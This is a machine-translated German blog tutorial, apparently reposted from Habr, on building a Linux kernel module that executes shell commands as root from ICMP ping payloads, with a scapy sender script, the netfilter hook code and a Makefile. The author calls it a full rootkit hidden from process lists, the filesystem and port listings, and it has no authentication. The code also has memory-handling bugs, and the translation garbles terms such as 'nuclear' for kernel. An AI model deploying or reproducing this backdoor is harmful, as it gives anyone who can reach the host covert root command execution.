Atombombe über ICMP

Atombombe über ICMP

TL; DR: Ich schreibe ein Kernelmodul, das Befehle aus der ICMP-Nutzlast liest und sie auf dem Server ausführt, selbst wenn Ihr SSH ausgefallen ist. Für die Ungeduldigsten ist der gesamte Code auf github.

Vorsicht! Erfahrene C-Programmierer riskieren, Blut zu vergießen! Ich könnte mich sogar in der Terminologie irren, aber Kritik ist willkommen. Dieser Beitrag richtet sich an alle, die nur über grundlegende C-Kenntnisse verfügen und einen Blick hinter die Kulissen werfen möchten. Linux.

In den Kommentaren zu meinem ersten Artikel erwähnte SoftEther VPN, das einige „normale“ Protokolle nachahmen kann, insbesondere HTTPS, ICMP und sogar DNS. Ich kann mir nur vorstellen, wie das erste funktioniert, da ich mit HTTP(S) vertraut bin und das Tunneln über ICMP und DNS studieren musste.

Atombombe über ICMP

Ja, ich habe erst 2020 erfahren, dass man beliebige Nutzdaten in ICMP-Pakete einfügen kann. Besser spät als nie! Und wenn man etwas dagegen tun kann, sollte man es tun. Da ich in meiner täglichen Arbeit hauptsächlich die Kommandozeile nutze, auch via SSH, lag die Idee einer ICMP-Shell nahe. Und um einen kompletten Schutz zu gewährleisten, habe ich mich entschieden, das Ganze als Modul zu schreiben. Linux In einer Sprache, die ich nur rudimentär beherrsche. Eine solche Shell ist nicht in der Prozessliste sichtbar, kann in den Kernel geladen werden und befindet sich nicht im Dateisystem. Auch in der Liste der lauschenden Ports werden keine verdächtigen Einträge angezeigt. Sie ist ein vollwertiges Rootkit, aber ich hoffe, sie weiterzuentwickeln und als letzte Möglichkeit zu nutzen, wenn die Systemlast zu hoch ist, um sich per SSH anzumelden und selbst einfachste Aufgaben auszuführen. echo i > /proc/sysrq-triggerum den Zugriff ohne Neustart wiederherzustellen.

Wir setzen einen Texteditor, grundlegende Programmierkenntnisse in Python und C, Google und virtuell die Sie ohne Bedenken unters Messer werfen können, wenn alles kaputt geht (optional – lokale VirtualBox/KVM/usw.) und los geht‘s!

Kundenteil

Es schien mir, dass ich für den Kundenteil ein Skript von etwa 80 Zeilen schreiben müsste, aber es gab nette Leute, die das für mich erledigten die ganze Arbeit. Der Code erwies sich als unerwartet einfach und lässt sich in 10 aussagekräftige Zeilen unterteilen:

import sys
from scapy.all import sr1, IP, ICMP

if len(sys.argv) < 3:
    print('Usage: {} IP "command"'.format(sys.argv[0]))
    exit(0)

p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
    p.show()

Das Skript verwendet zwei Argumente: eine Adresse und eine Nutzlast. Vor dem Senden wird der Nutzlast ein Schlüssel vorangestellt run:, wir benötigen es, um Pakete mit zufälliger Nutzlast auszuschließen.

Der Kernel benötigt Administratorrechte zum Erstellen von Paketen, daher muss das Skript als Root ausgeführt werden. Vergessen Sie nicht, die Ausführungsberechtigung zu erteilen und Scapy zu installieren. Debian Es gibt ein Paket namens python3-scapy. Jetzt können Sie überprüfen, wie alles funktioniert.

Start und Ausgabe des Befehls
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!

So sieht es in einem Sniffer aus
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run: Hallo Welt
0010 21!
Data: 72756e3a48656c6c6f2c20776f726c6421
[Länge: 17]

Frame 2: 59 Bytes auf Kabel (472 Bits), 59 Bytes erfasst (472 Bits) auf Schnittstelle wlp1s0, ID 0
Internetprotokoll Version 4, Quelle: 45.11.26.232, Ziel: 192.168.0.240
Internet Control Message Protocol
Typ: 0 (Echo (Ping)-Antwort)
Code: 0
Prüfsumme: 0xde03 [korrekt]
[Prüfsummenstatus: Gut]
Kennung (BE): 0 (0x0000)
Kennung (LE): 0 (0x0000)
Sequenznummer (BE): 0 (0x0000)
Sequenznummer (LE): 0 (0x0000)
[Anfrage-Frame: 1]
[Antwortzeit: 19.094 ms]
Daten (17 Bytes)

0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 run: Hallo Welt
0010 21!
Data: 72756e3a48656c6c6f2c20776f726c6421
[Länge: 17]

^C2-Pakete erfasst

Die Nutzlast im Antwortpaket ändert sich nicht.

Kernelmodul

Um in einer virtuellen Maschine zu bauen mit Debian benötigt mindestens make и linux-headers-amd64, der Rest wird als Abhängigkeiten einbezogen. Ich werde im Artikel nicht den gesamten Code bereitstellen, Sie können ihn von GitHub klonen.

Einrichten eines Hakens

Zunächst benötigen wir zwei Funktionen zum Laden und Entladen des Moduls. Die Funktion zum Entladen wird nicht benötigt, aber dann rmmod es funktioniert nicht, das Modul wird nur beim Ausschalten entladen.

#include <linux/module.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

static int __init startup(void)
{
  nfho.hook = icmp_cmd_executor;
  nfho.hooknum = NF_INET_PRE_ROUTING;
  nfho.pf = PF_INET;
  nfho.priority = NF_IP_PRI_FIRST;
  nf_register_net_hook(&init_net, &nfho);
  return 0;
}

static void __exit cleanup(void)
{
  nf_unregister_net_hook(&init_net, &nfho);
}

MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);

Was ist hier los:

  1. Für Manipulationen mit dem Modul selbst und mit dem Netzfilter werden zwei Headerdateien eingebunden.
  2. Alle Operationen laufen über einen Netzfilter, in dem Sie Hooks setzen können. Dazu müssen Sie die Struktur deklarieren, in der der Hook konfiguriert wird. Das Wichtigste ist, die Funktion anzugeben, die als Hook ausgeführt wird: nfho.hook = icmp_cmd_executor; Auf die Funktion selbst komme ich später noch zu sprechen.
    Dann stelle ich den Zeitpunkt für die Verarbeitung des Pakets ein: NF_INET_PRE_ROUTING gibt an, dass ein Paket verarbeitet werden soll, wenn es zum ersten Mal im Kernel erscheint. Kann verwendet werden NF_INET_POST_ROUTING um das Paket zu verarbeiten, wenn es den Kernel verlässt.
    Ich hänge einen Filter an IPv4: nfho.pf = PF_INET;.
    Ich weise meinem Hook die höchste Priorität zu: nfho.priority = NF_IP_PRI_FIRST;
    Und ich registriere die Datenstruktur als Hook selbst: nf_register_net_hook(&init_net, &nfho);
  3. In der letzten Funktion wird der Haken entfernt.
  4. Die Lizenz ist klar angegeben, sodass der Compiler keine Beschwerden ausspricht.
  5. Funktionen module_init() и module_exit() Definieren Sie andere Funktionen als Initialisierungs- und Beendigungsfunktionen für das Modul.

Extrahieren der Nutzlast

Jetzt müssen wir die Nutzlast extrahieren, was sich als die schwierigste Aufgabe herausstellte. Der Kernel verfügt nicht über integrierte Funktionen zum Arbeiten mit Nutzdaten. Sie können nur die Header von Protokollen höherer Ebene analysieren.

#include <linux/ip.h>
#include <linux/icmp.h>

#define MAX_CMD_LEN 1976

char cmd_string[MAX_CMD_LEN];

struct work_struct my_work;

DECLARE_WORK(my_work, work_handler);

static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
  struct iphdr *iph;
  struct icmphdr *icmph;

  unsigned char *user_data;
  unsigned char *tail;
  unsigned char *i;
  int j = 0;

  iph = ip_hdr(skb);
  icmph = icmp_hdr(skb);

  if (iph->protocol != IPPROTO_ICMP) {
    return NF_ACCEPT;
  }
  if (icmph->type != ICMP_ECHO) {
    return NF_ACCEPT;
  }

  user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
  tail = skb_tail_pointer(skb);

  j = 0;
  for (i = user_data; i != tail; ++i) {
    char c = *(char *)i;

    cmd_string[j] = c;

    j++;

    if (c == ' ')
      break;

    if (j == MAX_CMD_LEN) {
      cmd_string[j] = ' ';
      break;
    }

  }

  if (strncmp(cmd_string, "run:", 4) != 0) {
    return NF_ACCEPT;
  } else {
    for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
      cmd_string[j] = cmd_string[j+4];
      if (cmd_string[j] == ' ')
	break;
    }
  }

  schedule_work(&my_work);

  return NF_ACCEPT;
}

Was ist los:

  1. Musste zusätzliche Header-Dateien einbinden, diesmal zur Manipulation von IP- und ICMP-Headern.
  2. Ich lege die maximale Länge der Zeile fest: #define MAX_CMD_LEN 1976. Warum gerade dieses? Weil der Compiler sich über den Großen beschwert! Mir wurde bereits gesagt, dass ich mich um den Stack und den Heap kümmern muss. Eines Tages werde ich das auf jeden Fall tun und vielleicht sogar den Code reparieren. Ich lege gleich die Zeile fest, in der der Befehl stehen soll: char cmd_string[MAX_CMD_LEN];. Es sollte in allen Funktionen sichtbar sein, ich werde in Punkt 9 genauer darauf eingehen.
  3. Jetzt müssen wir initialisieren (struct work_struct my_work;) Struktur und verknüpfen Sie sie mit einer anderen Funktion (DECLARE_WORK(my_work, work_handler);). Warum das notwendig ist, werde ich in Punkt neun auch noch erläutern.
  4. Jetzt deklariere ich eine Funktion, die der Hook sein wird. Der Typ und die akzeptierten Argumente werden vom Netzfilter vorgegeben, wir sind nur interessiert an skb. Dies ist der Socket-Puffer, eine grundlegende Datenstruktur, die alle verfügbaren Informationen zu einem Paket enthält.
  5. Um die Funktion auszuführen, benötigen Sie zwei Strukturen und mehrere Variablen, darunter zwei Iteratoren.
      struct iphdr *iph;
      struct icmphdr *icmph;
    
      unsigned char *user_data;
      unsigned char *tail;
      unsigned char *i;
      int j = 0;
  6. Wir können mit der Logik fortfahren. Das Modul benötigt für den Betrieb keine anderen Pakete als ICMP Echo, daher analysieren wir den Puffer mithilfe integrierter Funktionen und verwerfen alle Nicht-ICMP- und Nicht-Echo-Pakete. Zurückkehren NF_ACCEPT bedeutet, das Paket anzunehmen, aber Sie können die Pakete auch abgeben, indem Sie NF_DROP.
      iph = ip_hdr(skb);
      icmph = icmp_hdr(skb);
    
      if (iph->protocol != IPPROTO_ICMP) {
        return NF_ACCEPT;
      }
      if (icmph->type != ICMP_ECHO) {
        return NF_ACCEPT;
      }

    Ich habe nicht getestet, was passiert, ohne die IP-Header zu überprüfen. Meine minimalen C-Kenntnisse sagen mir, dass ohne zusätzliche Kontrollen zwangsläufig etwas Schreckliches passieren wird. Ich freue mich, wenn Sie mich davon abbringen können!

  7. Da das Paket nun genau den richtigen Typ hat, können Sie die Daten extrahieren. Ohne integrierte Funktion müssen Sie zuerst einen Zeiger auf den Anfang der Nutzlast erhalten. Dies geschieht an einer Stelle. Sie müssen den Zeiger an den Anfang des ICMP-Headers nehmen und ihn um die Größe dieses Headers verschieben. Alles nutzt Struktur. icmph: user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
    Das Ende des Headers muss mit dem Ende der Nutzlast übereinstimmen in skb, daher erhalten wir es auf nuklearem Wege aus der entsprechenden Struktur: tail = skb_tail_pointer(skb);.

    Atombombe über ICMP

    Das Bild wurde gestohlen daherkönnen Sie mehr über den Socket-Puffer lesen.

  8. Nachdem wir die Start- und Endzeiger erhalten haben, können wir die Daten in die Zeichenfolge kopieren cmd_string, überprüfen Sie es auf ein Präfix run: und verwerfen Sie entweder das Paket, wenn es fehlt, oder schreiben Sie die Zeile erneut und entfernen Sie dieses Präfix.
  9. Nun können wir einen anderen Handler aufrufen: schedule_work(&my_work);. Da bei einem solchen Aufruf keine Parameterübergabe möglich ist, muss die Zeile mit dem Befehl global sein. schedule_work() platziert die mit der übergebenen Struktur verknüpfte Funktion in der allgemeinen Warteschlange des Taskplaners und wird beendet, sodass Sie nicht auf die Ausführung des Befehls warten müssen. Dies ist notwendig, da der Haken sehr schnell sein muss. Andernfalls haben Sie die Wahl, dass nichts startet oder dass Sie einen Kernel-Panic bekommen. Verzögerung ist wie der Tod!
  10. Fertig, Sie können das Paket mit der entsprechenden Retoure annehmen.

Aufrufen eines Programms im Userspace

Diese Funktion ist am verständlichsten. Sein Name wurde gegeben in DECLARE_WORK(), der Typ und die akzeptierten Argumente sind nicht interessant. Wir nehmen eine Zeile mit einem Befehl und übergeben sie vollständig an die Shell. Lassen Sie ihn das Parsen, die Suche nach Binärdateien und alles andere selbst herausfinden.

static void work_handler(struct work_struct * work)
{
  static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
  static char *envp[] = {"PATH=/bin:/sbin", NULL};

  call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}

  1. Legen Sie Argumente für ein Zeichenfolgenarray fest argv[]. Ich gehe davon aus, dass jeder weiß, dass Programme tatsächlich auf diese Weise ausgeführt werden und nicht als durchgehende Zeile mit Leerzeichen.
  2. Wir legen Umgebungsvariablen fest. Ich habe nur PATH mit einem minimalen Satz von Pfaden eingefügt, in der Erwartung, dass jeder sie bereits kombiniert hat /bin с /usr/bin и /sbin с /usr/sbin. Andere Wege sind selten von praktischer Bedeutung.
  3. Fertig, los gehts! Kernelfunktion call_usermodehelper() akzeptiert Eingaben. Pfad zur Binärdatei, Array von Argumenten, Array von Umgebungsvariablen. Auch hier gehe ich davon aus, dass jeder versteht, was es bedeutet, den Pfad zur ausführbaren Datei als separates Argument zu übergeben, aber Sie können ja nachfragen. Das letzte Argument gibt an, ob auf die Beendigung des Prozesses gewartet werden soll (UMH_WAIT_PROC), starten Sie den Prozess (UMH_WAIT_EXEC) oder warten Sie gar nicht (UMH_NO_WAIT). Es gibt mehr UMH_KILLABLE, ich habe mir nicht die Mühe gemacht, es mir genauer anzusehen.

Montage

Die Montage der Nuklearmodule erfolgt über das Nuclear Make-Framework. Angerufen make in einem speziellen Verzeichnis, das an die Kernelversion gebunden ist (hier definiert: KERNELDIR:=/lib/modules/$(shell uname -r)/build), und der Speicherort des Moduls wird an eine Variable übergeben M in Argumenten. Die Ziele icmpshell.ko und clean verwenden dieses Framework vollständig. IN obj-m gibt die Objektdatei an, die in ein Modul konvertiert wird. Syntax, die neu erstellt main.o в icmpshell.o (icmpshell-objs = main.o) erscheint mir nicht sehr logisch, aber lassen wir es dabei.

KERNELDIR:=/lib/modules/$(shell uname -r)/build

obj-m = icmpshell.o
icmpshell-objs = main.o

alle: icmpshell.ko

icmpshell.ko:main.c
make -C $(KERNELDIR) M=$(PWD) Module

reinigen:
make -C $(KERNELDIR) M=$(PWD) sauber

Wir erfassen: make. Laden: insmod icmpshell.ko. Fertig, Sie können überprüfen: sudo ./send.py 45.11.26.232 "date > /tmp/test". Wenn Sie eine Datei auf Ihrem Computer haben /tmp/test und es enthält das Datum des Absendens der Anfrage, was bedeutet, dass Sie alles richtig gemacht haben und ich alles richtig gemacht habe.

Fazit

Meine ersten Erfahrungen mit der Nukleartechnik gestalteten sich viel einfacher als erwartet. Auch ohne jegliche Erfahrung in der C-Entwicklung konnte ich mithilfe von Compiler-Eingabeaufforderungen und Google-Ergebnissen ein funktionierendes Modul schreiben und mich wie ein Kernel-Hacker und gleichzeitig wie ein Script-Kiddie fühlen. Außerdem besuchte ich den Kernel Newbies-Kanal, wo mir empfohlen wurde, schedule_work() anstatt anzurufen call_usermodehelper() im Inneren des Hakens selbst und beschämt, da er zu Recht einen Betrug vermutet. Hundert Zeilen Code kosten mich etwa eine Woche Entwicklungsarbeit in meiner Freizeit. Eine erfolgreiche Erfahrung, die meinen persönlichen Mythos über die überwältigende Komplexität der Systementwicklung zerstört hat.

Wenn sich jemand bereit erklären würde, eine Codeüberprüfung auf GitHub durchzuführen, wäre ich dankbar. Ich bin ziemlich sicher, dass ich viele dumme Fehler gemacht habe, insbesondere beim Arbeiten mit Zeichenfolgen.

Atombombe über ICMP

Source: habr.com

Kaufen Sie zuverlässiges Hosting für Websites mit DDoS-Schutz und VPS-VDS-Servern 🔥 Kaufen Sie zuverlässiges Webhosting mit DDoS-Schutz, VPS- und VDS-Server | ProHoster